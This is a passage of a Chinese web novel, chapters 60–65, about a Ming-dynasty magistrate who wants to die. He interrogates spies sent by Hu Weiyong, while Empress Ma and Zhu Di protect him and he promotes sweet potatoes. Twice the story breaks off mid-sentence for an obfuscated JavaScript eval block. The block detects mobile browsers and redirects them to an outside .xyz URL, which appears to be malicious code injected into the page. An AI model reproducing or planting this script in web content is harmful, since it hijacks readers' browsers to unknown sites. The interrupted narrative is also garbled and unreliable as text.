手持辣椒水的褚宁顿时眼前一亮,不过随后她就一脸坏笑的看着两人,步步紧逼。 “你们要是不说,那我可就要往你们眼里倒辣椒水了,想想就刺激!” 王五快哭了。 因为褚宁正把辣椒水的罐子对着自己。 “你们有病!明明两个人,为什么只针对我?” 不过即便这样,两人也只能将眼睛紧紧闭上,依旧没有开口的打算。 不过这在徐彦祖看来,只是自己下的猛料还不够多而已。 随即,徐彦祖又指挥起一旁的衙役:“你们两个,一个抱着蜂蜜,一个去将他的上衣给我扒下来!” 此言一出,在场众人的目光瞬间变得无比怪异起来。 而紧闭双眼的王五更是猛的睁开双眼,一脸愤慨地盯着徐彦祖。 “又是我?不是,你们看不见他是吗?他是鬼吗?” 王六满眼痛惜地看着王五,沉声道: “兄弟,你放心,我什么都不会说的。” “放**屁!打的不是你,你当然不说!” 王五眼睁睁看着自己上衣被扒下,顿时惊恐万分。 “不是,你到底要干什么?” “你看你,又急,我知道你很急,但你先别急,”徐彦祖笑呵呵地对众人问道:“不知道你们有没有见过白蚁?就是地上的那些蚂蚁窝,还有房梁柱子里面的白色蚂蚁。” 众人点点头,白蚁平日里随处可见,又不是什么稀罕物,大家自然见过。 “既然你们见过白蚁,那应该就知道白蚁是会咬人,而且咬人的疼痛感并不弱,不过想必你们不一定知道,这白蚁平日里最喜爱的食物就是蜂蜜!” “而这也是我为什么要让你们拿一罐蜂蜜来的原因。” “你们说,我要是把蜂蜜涂在这个犯人的肚皮上,会怎么样?” “我上早八!” 王五看到徐彦祖的手指指向自己,顿时顶不住了。 “我说!” 王五话音刚落,一旁的王六就急忙说道: “王五!不能说!” “放**屁!你了不起!你清高!你骨头硬!老子挨了两鞭子,一鞭沾烈酒,一鞭蘸盐水,老子又消毒又入味,你特么衣服上连个褶子都没有!” “现在老子要被蚂蚁咬肚皮,你够胆子你抹蜂蜜?” 说着,王五冲着徐彦祖竹筒倒豆子一般全部说出来。 “大人,我说!是胡惟庸派我们来搜集你罪证的!不仅如此,胡惟庸还让我们一找到机会就杀了你!” 徐彦祖闻言,眉头微皱:“胡惟庸?竟然会是他?” 但随即徐彦祖心头就是大喜,现如今的胡惟庸可是朱元璋身边的重臣,更是权侵朝野的宰相。 被这样的人盯上,不管是出于什么原因,对自己来说,那都是寻死的天赐良机啊! “只要胡惟庸在朱元璋的面前狠狠参自己一本,依照老朱那个脾气,还有淮西勋贵的影响力,岂不是分分钟就能将自己问斩,真是踏破铁鞋无觅处,得来全不费功夫啊!” 徐彦祖暗暗感叹,他正愁之前的朱大善走了没人给自己治罪呢。 本来打算让朱小四给自己定罪,可现如今后者已然成了自己的小迷弟,别说定罪了,怕是顶嘴都不会。 徐彦祖正头疼该如何作死,这胡惟庸都出现岂不是恰到好处! “现如今,我只需要将自己的罪证交给胡惟庸的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722233|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手下,顺便再说几句胡惟庸的坏话,等他们回去添油加醋和胡惟庸一说,再加上这些个罪证,包死的!” 徐彦祖打定主意。 而在供出胡惟庸的王五王六两兄弟见徐彦祖不怀好意的盯着自己,两人的神色都有些惶恐。 “大哥,你说这徐彦祖不会在知道我们是左相派来的人后杀我们灭口吧?” 王六隐隐有些担忧。 王五厌弃地看了他一眼。 还灭口?有机会我先捅死你! 不过他转念一想,自己如今是阶下囚,想要出去,还得维持住这个表面兄弟的样子。 最起码,下次挨打得有人顶前面。 “放心吧老弟,我们背后可是站着胡相呢,晾他也不敢对我们动手。” 见王五毫不在意的样子,王六连忙提醒道:“可是大哥,刚才我们可是说过了,胡相让我们找到机会就弄死他,这狗急跳墙,兔子急了还咬人,难免他不会对我们下死手啊!” 王五一听,心中觉得也是这么个理,连忙对王六小声嘱咐道:“待会我们一定要拿出气势来,就说胡相也无意和他计较,只要他拿些钱财出来,这件事情我们给他遮掩,等我们走后再回去上报胡相。” 这话让王六双眼骤然一亮:“还是大哥你厉害,真高!” 另外一边,徐彦祖已经打定主意。 说干就干,徐彦祖快步走到两人面前,脸上带着笑意。 王五王六互相对视一眼,按照计划行事。 不等徐彦祖开口,王五就直接说道:“徐县令,其实胡相哪里会特意针对你一个小县令,只不过是听信了下面的风言风语,加之你和刘伯温是师徒的关系,不过只要你能够拿出些银两,放我们兄弟俩归去,这件事我们兄弟自然会替你遮掩,如何?” 一旁的王六也连忙补充道:“对,只要你放了我们,一切好说!” 两人的话让徐彦祖眉头一皱,他可不想要这件事就这样轻飘飘的揭过。 但他转念一想,这两人在自己这里吃了这么大的亏,只怕说出来的话半点都不可信,回去之后依旧还会上报给胡惟庸。 既然如此,徐彦祖干脆将计就计。 他朝身后的衙役说道:“先将他二人松绑,送到酒店休息。” 第六十一章 和盘托出 说完,又对二人笑道:“既然如此,那就多谢二位了。” 随后,徐彦祖便带着褚宁大步流星离开。 直到王五王六二人来到酒店,都还感觉是一场梦一般。 王六揉着自己的脸,一脸不可置否地对王五问道:“大哥,我不是在做梦吧,就这么三言两语,那徐彦祖就放过我们了?他是真的相信我们会帮他遮掩此事?此人是真傻还是假傻?” 明眼人都看得出来,两人不过是在虚张声势,怎么可能真心实意帮徐彦祖遮掩,何况这可是胡惟庸亲自下的命令,两人就算有心遮掩,也不敢去做啊。 王五也觉得奇怪,可他思来想去,也摸不清徐彦祖的意图。 “老弟啊,事出反常必有妖,徐彦祖将我们送到这里居住,说不定就是想要监视我们,我觉得你说的对,我们都扬言要弄死徐彦祖了,又和他之间有这么大的矛盾,他肯定不会放过我们!” 想到这里,王五猛的一拍大腿:“我明白了!” “大哥,你明白什么了?” 王六不禁问道。 “徐彦祖这是在示敌以弱!” 王五将自己的猜测说了出来:“如果我没猜错的话,徐彦祖必定是想要假意麻痹我们,然后再趁机对我们下手,而且在牢房中,他已经对我们表达了善意,也表现出不想跟胡相作对的样子,倘若我们突然**,那他也能撇清关系,他这是想要又当又立!” 王五的话让王六猛的一惊,如果按照王五说的这样,那他们兄弟此刻的处境岂不是十分危险! 想到这里,王六连忙打开窗户四处张望,还当真让他看到了酒店门口有两个衙役在站岗。 “大哥,你快看下面!” “想必那两个人就是明着监视我们的人,我们的处境很危险啊!” 王六喊来王五,指着那两个衙役说道。 言下之意就是,明面上都有人监视,更不要说暗处了! 王五脸色一沉,将窗户关上。 他沉声道:“老弟啊,我们两个可不能就这样坐以待毙,徐彦祖的手段你也看到了,白天的时候就直接杀了我们三位兄弟,更不要说他口中的那些刑罚,更是让人生不如死,我们得找机会逃走!” 王六点点头:“大哥你说吧,该怎么做,我都听你的!” 随后,两人就在酒店中密谋逃脱计划。 很快,天色彻底暗了下来,夜幕笼罩之下,外面街道一片寂静,家家户户都陷入了梦乡。 也就是在这个时候,躺在床上假寐的兄弟二人猛的睁开眼睛。 “老弟,时候差不多了,现在就跳窗离开!” 王五朝王六招呼了一句,随后打开窗户,往下看了约莫好一会儿,都没有看到人影的出现,这让王五认定此刻监视他们的人应该正在交班。 紧接着,在王五的带领下,两人顺着窗户一跃而下。 待两人稳稳落地之后,正打算快步离开之时,就看到房顶上同样也跳下来了好几个人,将两人团团围住。 望着这些犹如神兵天降的人,王五王六两人此刻只有一个感觉,那就是芭比q了! 更为关键的是,两人可不是徐彦祖这等连松阳县都不怎么出的人,两人身为胡惟庸的手下,从小就**惟庸派去做各种事情,和锦衣卫之间也打了不少的交道。 因此两人透着月光,能够清楚的看到围困自己的人竟然全部都是锦衣卫! 这可把两人吓得亡魂皆冒。 为什么一个小小的松阳县竟然会出现锦衣卫? 他们出现在这里是因为胡惟庸下达的命令,那这些锦衣卫出现在这里…… 他们不愿去想,更不敢去想! 很快,王五王六就被锦衣卫带到了马皇后和朱棣的面前。 看到马皇后和朱棣从容坐在椅子上,两人吓的脸色发白,当场就昏厥过去。 见状,朱棣神色一冷。 “把他们两个给我弄醒,要死,也不是这个时候死。” 此言一出,两个锦衣卫当即上前猛扇两人的耳光。 几个势大力沉的耳光下去,王五王六瞬间就清醒了。 王五王六是认识锦衣卫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732849|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是两人也不过是个小角色,并不认识朱棣和马皇后,不过能够派遣这么多的锦衣卫保护两人的安全,并且听命行事,很明显是他们惹不起的人! 更为关键的是,两个人如今已经认出,朱棣就是他们白日对付的人,想到这里,两人顾不得脸颊上传来的疼痛,对着朱棣马皇后两人就跪下求饶:“大人,饶命啊!” “饶命?那就要看你们自己了。” 朱棣淡淡说了一句,而后对两人说道:“把事情的来龙去脉全都给本殿下说清楚,否则本殿下必定会上报父皇,严惩不贷!” “父皇?” 王五王六顿时心头一震。 整个大明朝,敢说出这两个字的,只有大明朝的皇子! 眼前男子莫非就是某一个皇子,那他身后的妇人? 两人不由倒吸一口凉气,这哪里是什么大人,分明就是天人啊! 这下子,本来还打算抬出胡惟庸套近乎的两人,目光彻底黯淡下去。 “殿下,这位莫非就是……” 王五面色发苦,虽然隐隐猜到了妇人的身份,但他还是想做一个明白鬼,死也要死的明白。 “这位自然就是我的母后,也是如今大明朝的皇后娘娘。” 朱棣恭敬地说道。 得知这个妇人当真是马皇后,王五王六悬着的心终于**。 “而本殿下的名号想必你们二人也不会陌生,燕王朱棣正是本尊。” 朱棣随后又抛出一句如同惊雷一般的话语在两人的耳边响起。 这一下,王五王六互相对视,欲哭无泪,他们没想到这一个小小的松阳县,竟然卧虎藏龙,藏着两尊大佛! 事到如今,两人明白已经无法继续隐瞒下去。 而后,王五看了看王六,朝他点点头后便对朱棣将事情的来龙去脉和盘托出。 “回燕王殿下,这一次我们之所以来松阳县,乃是胡惟庸让我们前来搜集徐彦祖的罪证,并且伺机而动除掉徐彦祖。” 随后,王五又将这一次来了多少人,分别是谁全都说了出来。 第六十二章 悔恨的徐彦祖 “真是岂有此理!” 如今得到了其余人手的踪迹,朱棣自然不可能当然不管,不能放任那些人伺机而动。 “来人,现在就给我暗中追踪剩余贼人的行踪,一旦遇到能抓活口最好,倘若不能……” 朱棣朝锦衣卫比画了个手势。 话没有说完,但意思却很明了,生要见人死要见尸就行。 随后,隐藏在暗中的锦衣卫就倾巢而出。 随后,朱棣将目光落在二人身上。 “说,胡惟庸为什么要对付徐彦祖,他们两个互不相识。胡惟庸身为当朝宰辅,徐彦祖不过是一个小小的七品县令,两人之间的差距如同鸿沟,到底是什么原因?” 朱棣目光冷厉,同时心里十分疑惑。 一旁的马皇后也同样如此,她带着询问的目光看向王五王六。 面对朱棣的询问,王五自然不敢隐瞒,连忙回道:“回燕王殿下,这是因为胡惟庸怀疑徐彦祖和刘伯温有关,因为当初两人之间发生了些矛盾,因此胡惟庸才会将目光放在徐彦祖身上。” 王五这话说的极为克制,但是朱棣却一针见血点明: “什么矛盾!他这是毒杀刘伯温,还想要斩草除根!” “更何况,当初这些淮西勋贵将刘伯温逼迫成了什么样子,大雪的天流落于世,连副驱寒治病的草药都讨不到!” 朱棣对胡惟庸为首的淮西勋贵极为不满,他重重拍了下桌子,怒道:“待我这一次返京,定要禀告父皇,让他严惩胡惟庸这群人!” 马皇后神色也带着愠怒:“这些淮西勋贵已经将浙东集团的刘伯温扳倒,整个朝廷上已经再没有和他们唱反调的人了,难道这还不够吗?连一个七品县令都容不下来,简直是岂有此理!” 身为贤后,马皇后也知道管理政务是朱元璋的事情,但这并不代表她什么都不懂,什么都不知道。 更何况前些年淮西勋贵和浙东集团两者间的矛盾闹的沸沸扬扬,她想不知道都难。 只是让她没有想到的是,徐彦祖都已经龟缩在这一个小小的松阳县中,胡惟庸的手竟然伸到了这里,连徐彦祖都不打算放过。 朱棣见马皇后发怒,对着身边的锦衣卫说道:“将这两个贼人先压下去,听候处置。不要让徐县令知道人在我们手里。” 此刻王五王六二人匍匐在地上大气都不敢出,能说的他们都已经说了,剩下的就只能听天由命了。 等到两人被带走后,朱棣这才看向马皇后,俯身问道:“娘,如今胡惟庸已经盯上了徐彦祖,我们该怎么办?” 朱棣深知,仅仅靠自己一个人想要阻止胡惟庸,和胡惟庸对抗根本就不可能。 要知道现在胡惟庸权倾朝野,就连朱元璋也对他头疼不已。 马皇后沉吟片刻,随后叹了口气说道: “徐彦祖乃是你妹妹的救命恩人,更是我大明朝不可缺少的栋梁之材,现如今我们最需要做的就是要保住徐彦祖。至于胡惟庸那边,等锦衣卫将剩余的人给抓回来,再一并送回到应天府,交给你父皇处置。” 说到这里,马皇后看向朱棣,对其打了个预防针:“不过仅仅是因为这件事情就想要治罪胡惟庸,甚至将其给扳倒却不现实,最多对其小惩大诫。” 马皇后对胡惟庸虽然不满,但如今胡惟庸树大根深,在朝中关系错综复杂,根深蒂固,想要将其彻底铲除可不是一件容易的事情。 更何况,朝廷上下那么多的官员都是淮西勋贵一派,究竟该杀该放,又找些什么人来代替,同样需要时间去谋划。 这朝廷,就如同一个庞大的机器一般,而在朝为官的官员就如同这机器上的零件一样,可以换,但不能全换,否则整个大明朝就会如同机器一般彻底瘫痪。 朱棣闻言微微点头,他也知道对付胡惟庸必须慢慢来,只要能够保下徐彦祖也就达到他的目的了。 另外一边,县衙之中的徐彦祖连夜就找出来了不少可以置自己于死地的证据。 随后第二日太阳才刚刚升起,徐彦祖就带着王海迫不及待来到酒店。 然而刚一到酒店,询问了前台之后,徐彦祖顿时就傻眼了。 “你说什么?那两个人昨天晚上跳窗逃走了?” 徐彦祖不可置信的望着前台小姐姐问道。 前台小姐点了点头,她说的也并非假话,只不过后面王五王六又被锦衣卫给抓了回来,但是马皇后已经对她有过交代,甚至还将锦衣卫的身份也一并告知,她自然守口如瓶。 得知王五王六逃走之后,徐彦祖缓缓闭上了眼睛。 “我恨啊!” 最终,徐彦祖只得仰天长啸一声,流下了悔恨的眼泪。 他猜到了王五王六要跑,但是没有想到两人跑的居然这么快。 本想今天带着两人在松阳县好好逛一圈,让他们尽全力收集自己的罪证,回去交给胡惟庸,到时候定自己的死罪。 现在可好,人跑了! 早知道他昨天晚上的时候就将自己的罪证偷偷塞给两人了,这样最起码两人回去和胡惟庸复命的时候也不至于空手而归不是。 一旁的王海见徐彦祖一副悲痛欲绝的样子,不由大惊失色。 他连忙上前扶住徐彦祖,耐心劝慰道:“县尊大人,不必如此担忧,那两个贼人经此一事之后,绝无可能继续回来松阳县兴风作浪。并且我早已经下令全县城戒严,肯定不会再让你遭到刺杀的,说不定啊,那两个贼人现在已经在回返的路上了。” 徐彦祖听到王海这话,心里更难受了。 但同时,徐彦祖也对幕后主使胡惟庸感到无比的愤怒。 不是愤怒胡惟庸要对付自己,而是愤怒胡惟庸竟然居来派了一群草包,胆小如鼠之人前来! 因此,徐彦祖对胡惟庸的恨意以及怨念,比对王五王六还要深! 见徐彦祖不说话,王海以为徐彦祖还在担忧,他连忙招呼来两个衙役吩咐道:“你们两个,现在就将酒店彻底搜查一遍,一定要保证县令大人的安全!” 正所谓坏人绞尽脑汁,不如蠢人灵机一动。 王海的话算是提醒了徐彦祖,万一酒店中还藏着王五王六的同伙呢? 那他这个时候发声,岂不是可以借用这些隐藏在暗处的人给胡惟庸带去消息! 第六十三章 势不两立 想到这里,徐彦祖当即推开王海的搀扶,伸手遥指应天府的方向,大声喊道: “胡惟庸,给你机会你也不中用啊!” “既然我想方设法制造纰漏,你都弄不死我,那就别怪我心狠手辣,转过头弄死你!” 一旁的王海则是脸色一变,他连忙伸手去捂住徐彦祖的嘴巴。 “县令大人您疯了?那可是胡惟庸,如今朝廷上手握权力最大的左相,要是暗中还有他安排的杀手,你这样一说,和自杀有什么区别?” 在王海看来,徐彦祖当众威胁胡惟庸,就两者之间的差距而已,徐彦祖这样做无异于引颈就戮。 然而王海绝对想不到,徐彦祖要的就是这个效果。 不仅要吸引胡惟庸的手下暗中刺杀自己,更要将自己的话带给胡惟庸,引起胡惟庸的重视。 甚至徐彦祖觉得光这样还不够,他看向一旁的王海,故意大声说道:“王主簿,你现在就拿纸笔来,就在这里,写一封状告胡惟庸谋反的书信。” 王海有些无奈,徐彦祖这真是厕所里面打灯笼,找死啊! 不过好在很快衙役就将整个酒店都搜查了一遍,当得知没有可疑人员之后,王海这才松了口气。 他又想到徐彦祖要让自己上书的事情,不由劝解道:“县尊大人,我知道那胡惟庸派人刺杀你,你心中有口恶气难出,可就算你上书,也不可能能够传到陛下的手中啊!” 徐彦祖看了王海一眼,他又不是傻子,当然知道这封书信不可能传到朱元璋的手里。 可问题是他也没想传给朱元璋看,他就是传给胡惟庸看的。 既然如今胡惟庸对自己动了杀心,那他正好利用这一点,推动胡惟庸的杀心,借他之手,让自己光荣赴死。 “这件事你不用管,只需要按照我说的,将胡惟庸谋反的证据记录下来,并且在书信中表明自己是刘伯温留下来对付胡惟庸的后手,刘伯温手中所有关于胡惟庸谋反叛乱的罪证都在我的手里,你将这些记录在案就行。” 徐彦祖语不惊人死不休,一出口就是惊天大雷。 王海用屁股想都能知道,一旦胡惟庸知道了这些东西,别说徐彦祖,只怕整个松阳县都不会有安生日子了。 因此,王海再三劝阻道:“县尊大人,还请三思啊!如今胡惟庸在吏部中遍布眼线,我们的手书今日递上,只怕明日就会摆在胡惟庸的桌子上!” 闻言,徐彦祖点点头道:“没错,我要的就是让他截获,让他知道这一切。” 徐彦祖此言一出,王海立刻就愣住了。 他想不明白,徐彦祖主要做到底是为了什么? 思来想去,王海最终只得出一个结论。 徐彦祖这是在玩阳谋,将自己的身份昭告天下,这样一来所有人包括皇帝朱元璋的目光都会集中在徐彦祖的身上。 到了那个时候,胡惟庸就算想对徐彦祖动手也不可能了,毕竟徐彦祖一死,谁都会怀疑到胡惟庸的头上。 王海越想越觉得是这么一回事,他双眼也逐渐亮了起来,对着徐彦祖就竖起了大拇指: “不愧是县尊大人,这一招以进为退玩的好啊,只要你主动暴露身份,胡惟庸必定对你投鼠忌器,而且世上没有不透风的墙,你的身份胡惟庸根本就隐瞒不住。” 说着,王海立刻让人拿来纸笔,找来书册就要替徐彦祖上书一封。 然而手书才写到一半,王海又突然想到一个问题。 “县尊大人,可万一胡惟庸和你耍阴招,就如同这一次一般,派一群人来刺杀你又该如何?” 正所谓明枪易躲暗箭难防,王海的考虑不无道理。 可徐彦祖却轻轻一笑,毫不在意的摆摆手道: “普天之下,我不想死,有谁能杀得了我?王主簿你难道忘了,当初是谁将你救出来的?” 闻言,王海的思绪立刻回到了徐彦祖刚在松阳县开展改革的时候。 之前徐彦祖和马皇后说的改革遇到的问题都不曾弄虚作假危言耸听,都是徐彦祖亲身经历的。 尤其对于一个县城而言,一旦官匪勾结,互相袒护,改革必定困难重重,甚至一个不慎就要丢掉性命。 而当年王海作为跟随徐彦祖改革的第一批人,那些官员土匪拿武艺高强的徐彦祖没有办法,就将矛头对准了他王海。 要知道王海在跟随徐彦祖之前也只不过是松阳县一个地主家的账房先生,手无缚鸡之力,怎么可能是土匪的对手。 当天夜里就被土匪抓进了山,好在徐彦祖及时赶到,一个人一把剑单枪匹马闯进了匪窝,硬是在数百人的围困下将王海救了出来。 也正是从此之后,整个松阳县周边的土匪一听到徐彦祖的名字就吓的抱头鼠窜,而那些官员更是不敢生起和徐彦祖作对的心思。 这就是武力的震慑! “也是,普天之下,只怕没有人是县尊大人的对手,有些时候我都在想,天底下到底什么样的奇人才能教导出县尊大人这样的高手。” 王海深深感叹。 练武如练戏,都是台上一分钟台下十年功。 可是徐彦祖年纪轻轻,光是培养出来的褚宁就已经打遍方圆百里无敌手了,更不要说徐彦祖的能耐。 反正王海跟了徐彦祖这么长的时间,还从未见过徐彦祖全力出手的样子。 两人正说着,门外突然传来了一阵脚步声,来者不是别人,而是马皇后和朱棣。 “朱小四,你的伤这么快就好了?” 徐彦祖有些惊奇。 虽然朱棣在面对那些贼人时没有受到致命之伤,但是身上也有几处严重的伤口,这可不是一两天就能好的。 闻言,朱棣笑道:“家中有祖传药膏,所以好的快了一些。” 朱棣口中的祖传药膏一出,可把徐彦祖给馋坏了。 这可是在大明,还有不少珍贵的药材,比后世那种普通的祖传药膏简直是一个天上一个地上。 当然,徐彦祖一心寻死,这药膏徐彦祖拿了也没什么作用,因此没有找朱棣讨要。 不过徐彦祖看着马皇后和朱棣有些严肃的脸色,也是不禁问道:“怎么了?可是发生了什么事情?” 第六十四章 三年倒台 面对徐彦祖的询问,马皇后和朱棣互相对视一眼,然后对徐彦祖反问道:“不知徐县令对当朝左相胡惟庸如何看待?” 在来的路上,马皇后和朱棣有过商量,想要试探一下徐彦祖对胡惟庸的态度。 毕竟这一次刺杀针对徐彦祖的始作俑者是胡惟庸。 虽然朱元璋也早想收拾他,可淮西文臣党羽众多,贸然出手不仅无法根除,反而可能导致朝堂动荡,人心不稳。 即使要杀,也必须等到合适的时机,将胡惟庸党羽逐渐架空,再狠狠挥刀。 所以,必须探明徐彦祖的想法,再想办法加以安抚,避免徐彦祖对大明朝寒心。 可马皇后的询问在徐彦祖看来,却是因为朱小四被贼人伤害之后,出于护犊子的复仇之心。 于是,徐彦祖看向马皇后,安抚道: “郑大姐你放心好了,那胡惟庸也不过是秋后的蚂蚱,蹦跶不了几天了,你想要为小朱报仇的机会最多三年就能到来!” 毕竟徐彦祖坐拥华夏上下五千年的历史知识,对胡惟庸的结局还是十分了解的。 虽然他的出现如同一只蝴蝶一般改变了一些事情原有的轨迹。 但是这么多的朝代经历下来,徐彦祖发现,仅仅只是他一人,只要不是做太过于过分的事情,最终这些朝代都会在历史的演变下慢慢修正。 所以,不管他有没有救下刘伯温,胡惟庸最后都难逃一死。 更何况徐彦祖心中估算,现如今的朱元璋应该已经盯上了胡惟庸。 “胡惟庸啊胡惟庸,你可千万不要做糊涂事,好歹先把我给杀了之后再死啊。” 徐彦祖心中暗暗升起一股急迫的感觉,作死之事已经刻不容缓了。 与此同时,当听到徐彦祖扬言胡惟庸三年内就会下台,马皇后和朱棣心头顿时掀起惊涛骇浪,两人眼里都带着惊色。 实在是徐彦祖这话太过于惊世骇俗,要知道如今胡惟庸虽然不被朱元璋所喜,可在朝中可是如日中天一般的存在。 再加上徐彦祖的身份,两人不得不重视这个消息。 试问整个大明,谁不知道刘伯温能掐会算,辅佐朱元璋建立了大明。 而徐彦祖身为刘伯温的弟子,在两人看来,在这一方面只怕是青出于蓝而胜于蓝! 不过事关重大,马皇后斟酌后还是对徐彦祖问道:“徐县令,你刚才所说,难道都是你算到的?” “算?” 徐彦祖眉头一皱,而后反应过来自己乃是刘伯温的弟子,再看朱棣那一副崇拜的样子,就知道二人这是想歪了。 他轻笑着摇头解释道:“郑大姐,小朱啊,你们可误会我了,要是我那师傅真的能算会道,岂会落得如今这个下场?” 徐彦祖不禁感叹,世间皆说刘伯温能掐会算,算尽天机,可他又何尝算到了自己的结局。 殊不知,徐彦祖的这一句感叹让马皇后和朱棣神色都有些愧疚,在刘伯温这件事情上,二人又何尝没有进言过,只是朱元璋不听罢了。 但同时马皇后心中又升起一股疑惑,既然徐彦祖不是算出来的,那是从何得知胡惟庸三年内会倒台呢? 马皇后那疑惑的眼神落入徐彦祖的眼中,后者不由解释道:“其实这件事情早就有所预兆,郑大姐虽然只是一介女流,但身为钦差夫人,想必对朝中的局势也有所耳闻,那胡惟庸如今在朝堂上结党营私,身为宰相却无比张扬。” 徐彦祖神色严肃:“正所谓,天狂必有雨,人狂必有祸,像胡惟庸这般狂妄自大之人,又在朱元璋的眼皮子底下结党营私,贪恋权力,早就已经犯了大忌,咱们这大明的开国皇帝可不是什么昏君,他可精明着呢!” 说着,徐彦祖又嘟囔了一句:“就是这朱元璋的心眼不怎么大,也就指甲盖那么大一点。” 此言一出,朱棣当即又不乐意了,可是一想到徐彦祖是自己的师父,终究还是没有发作。 马皇后则是苦笑连连,心中暗暗想道:“看来徐彦祖对刘伯温一事应该还耿耿于怀,如今这些抨击皇帝的话多半也是为刘伯温打抱不平,看来想要让徐彦祖为大明效力,得先解决刘伯温的事情。” “不过刘伯温一事牵扯到了胡惟庸,但是徐彦祖说的不无道理,胡惟庸实有太过于放肆了些。” 马皇后想到胡惟庸在朝廷中的所作所为,脸色也是有些不喜。 见马皇后和朱棣都没有说话,徐彦祖觉得两人应该是听进去了自己的话。 “所以啊,心急吃不了热豆腐,等他个两三年胡惟庸一倒台,到时候你们想怎么报仇雪恨都可以。” 话音刚落,身旁的一片落叶就随风飘了下来,徐彦祖神色突然一变:“不好!” “我的红薯园!” 说罢,也不顾不得马皇后和朱棣,徐彦祖迈开腿就打算离开。 然而刚走出两步,就被马皇后给叫住。 “徐县令,你等等!” “郑大姐,还有什么事情吗?” 徐彦祖疑惑看向后者。 马皇后对徐彦祖歉意一笑,询问道:“徐县令,我还是第一次听说红薯这个东西,看你如此着急,莫非这红薯十分重要?” “不过徐县令放心,如果你需要用到人手,就和我说。” 马皇后这是打算借这些小事来修补徐彦祖和大明朝之间的关系,因此表达出了自己的善意。 闻言,徐彦祖摇摇头。 这种植红薯可是一门技术活,他不可否认马皇后身边那些侍卫武艺非凡,可术业有专攻。 种地那是农民的事,不需要舞刀弄枪。 “多谢郑大姐的好意,本官心领了,不过这红薯一般人可种不来。而且现在对于我来说最重要的不是人手,而是时间,如果再不加紧种植红薯赶下进度的话,只怕要赶不上今年的收成了!” “这可是我花了数年时间寻觅到的农作物,要是今年颗粒无收,我得哭死!” 马皇后没想到红薯对徐彦祖这么重要,光是寻觅就花费了数年,在想到徐彦祖非寻常之人,所寻之物必定非寻常之物,这让马皇后升起了一颗十足的好奇心。 “徐县令,这红薯莫非是什么罕见之物?” 第六十五章 惊人的产量 “罕见之物倒也谈不上,只不过这东西要是种植好了,一亩地可以产三千斤!” 徐彦祖摆了摆手,随后指着朱棣说道:“小朱啊,你这些天和我一同在种植园种下的就是红薯。” “哦对了,你们来自应天府,应当不熟悉我们松阳县的计量单位,一石约莫是一百斤。” 此言一出,马皇后和朱棣两人浑身一震。 一石一百斤,那三千斤就是三百石,一亩地产三百石的农作物,这完全刷新了两人的世界观! 要知道在如今的大明,产量最高的也不过是南方种植的水稻,一亩地可以产出二到三石的粮食,而这些水稻养活了整个大明七成的人,可以说产量已经非常之高了。 可和徐彦祖口中的红薯一对比,简直是天差地别,二者竟然相差了百倍有余! 朱棣一想到自己这些天和徐彦祖在田地里面朝黄土背朝天种的东西就是这红薯,就是这能亩产三千斤的粮食,就不由咽了咽口水。 要知道这几天在种植园,他犯的错可不少。 哪怕有徐彦祖在旁边教导,也是笨手笨脚的。 万一正因为他的这些错误举动,导致这红薯未能及时收场,那他岂不是成了整个松阳县,甚至整个大明朝的罪人! 想到这里,朱棣就惊出一身冷汗,压力骤升。 而一旁的马皇后则是惊疑不定的看着徐彦祖。 经过这么多日的相处,她知道徐彦祖是一个有本事的人,可亩产三千斤的粮食,这实在是有些匪夷所思。 何况,马皇后的目光看的比朱棣要长远的多,她明白,倘若红薯当真有如此高的产量,那从今往后整个大明,将再无饿殍! 于是,马皇后郑重其事的对徐彦祖问道:“徐县令,你口中所说的红薯,当真可以做到亩产三千斤,也就是亩产三百石?” 徐彦祖点点头,不明所以,这有啥好奇怪的。 “郑大姐你见我什么时候说过谎话?就这亩产三千斤,还只是我的初步估计,要知道现如今松阳县内的化肥厂规模并不算大,加之红薯刚刚从海外寻回来还没有经过培育,所以亩产还没有上去,可一旦解决了这些问题,亩产能够直逼五千斤!” “要是将来能够把化肥厂搞出来,亩产还能再往上提一提。” 徐彦祖伸出手掌,朝马皇后和朱棣比划道。 五千斤?那可就是五百石! 徐彦祖那自信的神情,还有这惊世骇俗的话语,无不让马皇后和朱棣两人倒吸一口凉气。 同时,两人面色都是一喜,有了这红薯,那日后大明岂不是再无饥荒,百信岂不是不用再继续饿肚子,这可是千秋万代的功绩啊! 朱棣不由开始幻想:“徐县令,要是将这红薯种满我大明的每个角落,只怕这天底下再无饥荒,到了那个时候,你就是整个大明百姓的再生父母啊!” 农民没有多么远大的志向,所求的不过是吃饱穿暖而已。 对于百姓而言,红薯不用让他们继续饿肚子,可对于朱棣朱元璋这些皇亲国戚而言,红薯可以让天下安定,自古以来造反的都是农民,都是因为吃不饱穿不暖。 然而听到朱棣的话,徐彦祖却摇头笑道:“小朱啊,这红薯虽好,可也不能多吃。” “不能多吃?莫非这红薯有毒!” 朱棣恍然大悟。 他就说这世上怎么可能会有产量如此高的粮食,原来是有毒。 可下一秒,徐彦祖就忍不住白了朱棣一眼,没好气的说道:“小朱你脑子里在想啥呢?要是红薯有毒,我还会派人千辛万苦不远万里从海外带回来吗?” “既然没毒,那为何不能多吃?” 朱棣挠了挠头,颇为费解。 一旁的马皇后也同样带着疑惑的目光看向徐彦祖。 